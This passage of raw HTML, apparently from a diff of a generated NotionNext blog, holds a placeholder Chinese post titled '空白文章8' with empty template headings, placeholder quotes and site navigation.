00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-82d871b086d34d3c8d4cfe70087f3d69"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
+<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章8 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Python,健康"/><meta name="description" content="仅供列表展示、文章无内容"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章8 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容"/><meta property="og:url" content="https://bothsavage.github.io//article/example-8"/><meta property="og:image" content="https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容"/><meta name="twitter:title" content="空白文章8 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章8</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-b4a852c38bab43efb7488dec9d0940f9"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-82d871b086d34d3c8d4cfe70087f3d69"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-aad2aea5e7bc4147bfeb465cbf407a92">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-ba10eba59ed24ed292a2662ef2f3c2f7"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-c2d9349064f94cb1882bce82d4e86e34" data-id="c2d9349064f94cb1882bce82d4e86e34"><span><div id="c2d9349064f94cb1882bce82d4e86e34" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c2d9349064f94cb1882bce82d4e86e34" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-ad9f849c2f34425c8ae29b3e5fd954ad" data-id="ad9f849c2f34425c8ae29b3e5fd954ad"><span><div id="ad9f849c2f34425c8ae29b3e5fd954ad" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ad9f849c2f34425c8ae29b3e5fd954ad" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-9a7a521d391c4709bc52426bcdc88d29"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-931b0fc54a3c42a19e722f98575aabe4" data-id="931b0fc54a3c42a19e722f98575aabe4"><span><div id="931b0fc54a3c42a19e722f98575aabe4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#931b0fc54a3c42a19e722f98575aabe4" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-bfd4a004433b469091c1564daf7111de"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-26ae09ec33604a228a1c5a04558cd1bf" data-id="26ae09ec33604a228a1c5a04558cd1bf"><span><div id="26ae09ec33604a228a1c5a04558cd1bf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#26ae09ec33604a228a1c5a04558cd1bf" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-ab7c6e96b91c45bc85d0f8c5da4ea1ec">总结文章的内容</div><h2 class="notion-h notion-h1 